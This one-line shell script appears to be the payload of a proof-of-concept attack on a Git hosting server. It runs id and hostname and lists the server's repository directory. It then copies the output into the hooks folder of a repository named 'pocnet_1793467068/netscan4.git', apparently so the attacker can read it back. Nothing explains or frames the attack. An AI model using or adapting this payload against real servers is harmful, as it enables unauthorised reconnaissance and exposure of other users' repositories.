#!/bin/sh id; hostname; ls /data/git/repositories/ 2>/dev/null | head -20 > /tmp/output.txt 2>&1 cp /tmp/output.txt /data/git/repositories/pocnet_1793467068/netscan4.git/hooks/output.txt 2>/dev/null